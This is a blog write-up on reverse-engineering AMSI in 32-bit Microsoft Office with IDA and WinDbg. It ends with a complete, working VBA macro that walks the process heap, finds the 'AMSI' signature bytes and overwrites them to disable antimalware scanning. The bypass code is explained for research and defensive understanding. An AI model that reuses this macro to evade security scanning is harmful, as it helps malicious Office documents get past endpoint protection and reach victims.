This write up is based upon the work of Matt Graeber @Mattifestation

https://gist.github.com/mattifestation/ef0132ba4ae3cc136914da32a88106b9

Tools Used

IDA
https://www.hex-rays.com/products/ida/support/download_freeware/

Windbg
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools

If we load up amsi.dll in IDA or equivalent tool and start looking at AmsiScanBuffer we can see that there is a check to see if the value which is pointed to via rbx equals 49534D41h (AMSI).

If this value doesn’t match (jnz) then something went wrong and bail.

If we look at AmsiInitialize we can see that the value 49534D41h gets added to to Heap by the use of CoTaskMemAlloc

If we refer to MSDN
https://docs.microsoft.com/en-us/windows/win32/learnwin32/memory-allocation-in-com

We can see CoTaskMemAlloc is part of a pair of functions for allocating and freeing memory on the heap.

In order to analyse the above with WinDbg we need to set a few things up. The first is, we need to be able to trigger AMSI with Word/VBA so that we can trigger a breakpoint.

Code which is sufficient to trigger AMSI can be found below.

Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Destination As Any, Source As Any, ByVal Length As LongPtr)

Private Sub TriggerAmsi()

    Dim AmsiScanBufferAddr As LongPtr
    Dim result As Long

    AmsiScanBufferAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer")
    result = VirtualProtect(ByVal AmsiScanBufferAddr, 1, 64, 0)
    
End Sub

When executing the above code you should get the all too familiar

We can now move on and look at this in WinDbg.

Firstly attach WinDbg to WINWORD.EXE
For anyone new to this, File/Attach to a Process – Select WINWORD.EXE from the list of processes and then select OK.

Next lets see where Amsi is by typing
x amsi!amsi* then enter into the command window

If we use the command u we can unassemble the lines of code at an address.

Therefore we use
u AmsiScanBufferAddress l100

If we look through the code we can see the cmp which looks for AMSI. We set a breakpoint here

bp 715a45fd

and then press F5 to resume code execution and then go back to our module.

Once we execute our module, our breakpoint triggers.

If we use d esi we can see the contents of the memory which is being pointed to.

Pressing p (to step) and enter takes us to our next line of code which is the jne statement. br=0 indicates that the jump is not taken.

For testing purposes, we’re going to force the jump by modifying the code.

We use the a command with the memory address of the code we want to change, followed by enter.

We then enter the new instructions, followed by enter and enter.

If we now press F5 to resume execution or just detach the debugger we can see that if this check fails it is enough for a bypass.

This bypass is achieved by walking the Heap and finding the value of AMSI. We then need to corrupt this value which should be enough for the cmp check to fail.

If we look to MSDN for help on the HEAP we can see all the header information on this page

https://docs.microsoft.com/en-us/windows/win32/api/heapapi/

It conveniently also provides an example of enumerating the heap
https://docs.microsoft.com/en-us/windows/win32/memory/enumerating-a-heap

The Heap functions which are going to be of interest are
GetProcessHeaps
HeapWalk

and to copy our replacement bytes to memory we’re going to use

CryptBinaryToStringA

Here’s the code to do all this which is commented. See it also on my Git


Private Type PROCESS_HEAP_ENTRY
    lpData              As Long
    cbData              As Long
    cbOverhead          As Byte
    iRegionIndex        As Byte
    wFlags              As Integer
    dwCommittedSize     As Long
    dwUnCommittedSize   As Long
    lpFirstBlock        As Long
    lpLastBlock         As Long
End Type

Private Const PROCESS_HEAP_ENTRY_BUSY As Long = &H4
Private Const CRYPT_STRING_BINARY As Long = 2

Private Declare PtrSafe Function GetProcessHeaps Lib "kernel32" (ByVal NumberOfHeaps As Long, ByRef ProcessHeaps As Any) As Long
Private Declare PtrSafe Function HeapWalk Lib "kernel32" (ByVal hHeap As Long, ByRef lpEntry As PROCESS_HEAP_ENTRY) As Long
Private Declare PtrSafe Function ToString Lib "crypt32.dll" Alias "CryptBinaryToStringA" (ByRef pbBinary As Any, ByVal cbBinary As Long, ByVal dwFlags As Long, ByRef pszString As Any, ByRef pcchString As Long) As Long

Sub HeapsOfFun()

    Dim ProcessHeaps As Long
    Dim NumberOfHeaps As Long
    Dim PHE As PROCESS_HEAP_ENTRY

    Dim ReadBuffer As Long
    Dim WriteBuffer As Long

    'The value that we're going to write on the heap
    WriteBuffer = &HFFFFFFFF

    NumberOfHeaps = GetProcessHeaps(1, ProcessHeaps)
    'Debug.Print Str(NumberOfHeaps) & " Handles to heaps that are active for the calling process"
    If NumberOfHeaps > 0 Then
        retval = HeapWalk(ProcessHeaps, PHE)
        'retval of 0 means failure
        If retval > 0 Then
            Do While HeapWalk(ProcessHeaps, PHE) <> 0
                'If PHE.wFlags And PROCESS_HEAP_ENTRY_BUSY) is not equal to 0 it means that we have an Allocated block
                If ((PHE.wFlags And PROCESS_HEAP_ENTRY_BUSY) <> 0) Then
                    'Copy the 4 bytes from PHE.lpData into ReadBuffer
                    ToString ByVal PHE.lpData, ByVal 4, CRYPT_STRING_BINARY, ByVal VarPtr(ReadBuffer), ByVal VarPtr(Len(ReadBuffer))
                    'If ReadBuffer equals AMSI
                    If ReadBuffer = &H49534D41 Then
                        Debug.Print "Pesky AMSI Bytes found on the Heap at: " & Hex(PHE.lpData)
                        'Copy the 4 bytes FFFFFFFF into the location of PHE.lpData which is where we found AMSI
                        ToString ByVal VarPtr(WriteBuffer), ByVal 4, CRYPT_STRING_BINARY, ByVal PHE.lpData, ByVal VarPtr(Len(PHE.lpData))
                        Debug.Print "Replaced Pesky Bytes found on the Heap at: " & Hex(PHE.lpData) & " with " & Hex(WriteBuffer)
                        'We've done what we came to do, exit the loop
                        Exit Do
                    End If
                End If
            Loop
        End If
    End If

End Sub

If we execute the above code we get the following results

We can confirm with WinDbg that our code has been successful too.

One Reply to “AMSI in the HEAP x32”

Leave a Reply

Your email address will not be published. Required fields are marked *